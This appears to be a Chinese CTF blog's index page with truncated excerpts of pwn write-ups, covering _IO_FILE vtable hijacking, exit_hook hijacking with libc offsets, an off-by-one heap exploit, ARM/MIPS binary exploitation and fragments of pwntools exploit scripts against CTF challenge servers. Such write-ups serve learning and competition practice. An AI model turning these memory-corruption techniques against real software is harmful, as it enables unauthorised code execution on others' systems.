pwnable.kr_exploitable(_bss_start泄露_IO_2_1_stdout_地址)
pwnable.kr_exploitable
首先会将 _bss_start 也就是 IO_STDOUT 的地址打印出来,然后你给一个地址它去执行,自然想到利用one_gadget,下面输入的时候要用负数
123456789101112131415161718from pwn import *r = remote("node4.buuoj.cn", 28871)#r = process("./exploitable")libc = ELF('./libc-2.23-32.so')one_gadget = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]addr = u32(r.recv(4))success("_IO_2_1_stdout_: =>"+hex(addr))libc.address = addr - libc.sym['_IO_2_1_stdout_']one_gadget = libc.address + ...
hctf2018_the_end
hctf2018_the_end检查防护
IDA分析
我们可以任意位置写 5 字节
利用思路
利用的是在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数。
可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ,然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。
调试找出 _IO_2_1_stdout_ 和 libc 的偏移
1glibc 2.23下 vtables偏移0x3C56F8
查看虚表内容
在虚表附近寻找一个 fake_vtable,需满足以下条件:
fake_vtable_addr + 0x58 = libc_base + off_set_3
其中 0x58 根据下表查出是 set_buf 在虚表的偏移
1234567891011121314151617181920212223void * funcs[] = {1 NULL, // "extra word"2 NU ...
伪造vtable
伪造vtable劫持程序流程Linux 中的一些常见的 IO 操作函数都需要经过 FILE 结构进行处理。尤其是_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。
因此伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。
因此 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。
首先需要知道_IO_FILE_plus 位于哪里,对于 fopen 的情况下是位于堆内存,对于 stdin\stdout\stderr 是位于 libc.so 中。
example:看一下ctf-wiki上的例子:
1234567891011int main(void){ FILE *fp; long long *vtable_ptr; fp=fopen("123.txt&quo ...
FILE相关结构
FILE相关结构CTF-wiki上对FILE的介绍如下:
1FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。
FILE 结构定义在 libio.h 中
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the ...
IO_FILE学习时光
IO_FILE 基本概念流的概念1在C中引入了流(stream)的概念。它将数据的输入输出看作是数据的流入和流出,这样不管是磁盘文件或者是物理设备(打印机、显示器、键盘等),都可看作一种流的源和目的,视他们为同一种东西,而不管其具体的物理结构,即对他们的操作,就是数据的流入和流出。这种把数据的输入输出操作对象,抽象化为一种流,而不管它的具体结构的方法很有利于编程,而涉及流的输出操作函数可用于各种对象,与其具体的实体无关,即具有通用性。
存储的目标(比如一个文件)当做水池,链接水池和外界的是水管,这个水管往水池里灌水,或者把水池里的水泵出来,形成“流”。
往里灌水(写文件)时,对于水管(流)来说,是“将水管里的水输出到水池里”,此时对于流来说是输出流;
往外排水(读文件)时,对于水管(流)来说,是“将水池里的水输入到水管里”,此时对于流来说是输入流。
流的分类在C中流可分为两大类,即文本流(text stream)和二进制流(binary stream)。
文本流所谓文本流是指在流中流动的数据是以字符形式出现。在文本流中,’\n’被换成回车CR和换行LF的代码0DH和0AH。而当输出时 ...
ciscn_2019_n_7
ciscn_2019_n_7(劫持exit_hook)这题记录一下劫持exit_hook的题型
exit_hook的位置:
12345678exit_hook的位置在libc-2.23中exit_hook = libc_base+0x5f0040+3848exit_hook = libc_base+0x5f0040+3856在libc-2.27中exit_hook = libc_base+0x619060+3840exit_hook = libc_base+0x619060+3848
不一定非要显式的exit,程序正常返回也可以执行到。像这道题,如果直接调用菜单里的exit,会一并关掉输出流,导致无法回显。
12345678910111213141516171819202122232425262728293031323334353637383940414243from pwn import * #io = process("./ciscn_2019_n_7")io = remote('node4.buuoj.cn',25032)elf = EL ...
Shanghai2018_baby_arm
Shanghai2018_baby_armchecksec
qemu模拟运行
有两处输入点
IDA静态分析动态链接的程序比之前32位的typo静态链接的要看起来舒服点
main函数如下:
程序很简单,unk_411068变量存放在bss段,下面的sub_4007F0()函数是往栈中写入数据,但是存在溢出。而且程序中有mprotect()函数,mprotect()函数可以用来修改一段指定内存区域的保护属性,函数原型为:
1int mprotect(const void *start, size_t len, int prot);
一参addr:修改保护属性区域的起始地址二参len:被修改保护属性区域的长度三参prot:可以取以下几个值,并且可以用“|”将几个属性合起来使用:PROT_READ:表示内存段内的内容可写(二进制:0,1,0,十进制:2)PROT_WRITE:表示内存段内的内容可读(二进制:1,0,0,十进制:4)PROT_EXEC:表示内存段中的内容可执行(二进制:0,0,1,十进制:1)PROT_NONE:表示内存段中的内容根本没法访问(二进制:0,0,0,十进制:0) ...
jarvisoj_typo(arm_pwn)
jarvisoj-typo(arm_pwn)checksec
32位的arm架构
arm概述12ARM架构过去称作进阶精简指令集机器(Advanced RISC Machine,更早称作:Acorn RISC Machine),是一个精简指令集(RISC)处理器架构,其广泛地使用在许多嵌入式系统设计。由于节能的特点,ARM处理器非常适用于移动通讯领域,符合其主要设计目标为低耗电的特性。因此我们常用的手机、平板等移动设备都是采用ARM体系架构的
使用QEMU进行模拟运行qemu是一个通用的、开源的机器仿真器和虚拟机。如何安装以及调试不同架构在IOT环境搭建里有介绍,这里不再重复
arm架构的基础知识32位关于arm的函数调用约定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。除此之外,arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址,也是我们要控制的目标。
64位其中寄存器用x[n]表示64位的,8字节,w[n]表示取低32位,4字 ...
suctf2018_heap
suctf2018_heap(off-by-one)检查防护
防护很松
IDA静态分析
漏洞也就是off-by-one在edit处我们可编辑的size是用strlen函数去判定的,假设我们堆风水布局如此:
我们请求的size是0x88,启用了下一个chunk的presize位,并且打满空间的话,那么strlen函数记录到0x91,也就多了一个字节可以被我们控制,如果这个size是0x100,那么我们可以劫持2字节,不过这里一字节已经够我们去构造堆重叠,布置堆风水了。
难度不大直接放exp了
exp:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263from pwn import*context(os='linux', arch='amd64', log_level='debug')#io = process(['/home/s4ndw ...
MIPS交叉编译调试环境搭建
MIPS交叉编译调试环境搭建终于全部考完放假了,有时间来学习mips了第一步肯定还是要把环境搭建好,这部分主要参考了cyberangel师傅的
安装QEMU我们要去学习mips架构,去逆向分析固件需要用到qemu,Qemu 是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备。
12sudo apt install qemusudo apt install qemu-system qemu-user-static binfmt-support
安装mips&arm依赖库1234567sudo apt-get install gcc-mips-linux-gnusudo apt-get install gcc-mipsel-linux-gnusudo apt-get install gcc-mips64-linux-gnuabi64sudo apt-get install gcc-mips64el-linux-gnuabi64#arm依赖sudo apt install libncurses5-dev gcc-arm-linux-gnueabi build-essential ...



